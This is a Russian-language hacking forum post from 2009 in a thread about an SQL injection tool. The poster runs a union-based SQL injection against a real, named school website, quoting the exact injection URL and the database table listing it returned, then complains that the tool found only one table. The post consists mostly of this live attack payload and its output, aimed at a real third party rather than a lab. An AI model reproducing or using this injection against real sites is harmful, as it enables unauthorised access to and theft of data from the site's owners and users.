Новая SQL Injection Tool 4

#11

31.05.2009, 20:24

farpost

Познающий

Регистрация: 16.05.2009

Сообщений: 42

С нами: 8941129

Репутация: 7

Рассмотрим на живом примере теперь.

Цитата:

http://www.tauntonschool.co.uk/foundation/index.php?id=-539'+union+select+1,2,GROUP_CONCAT(table_name),4+f rom+information_schema.tables+--+

Видим таблицы:

Цитата:

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATIST ICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIG GERS,USER_PRIVILEGES,VIEWS,courier_news_files,cour ier_news_schools,events,events_images,file_categor ies,file_categories_dev,............

Теперь скормим программе:

Опять нашёл только одну таблицу. WTF??

Последний раз редактировалось farpost; 31.05.2009 в 20:34..

Внести депозит

Депозит создан

Вывести депозит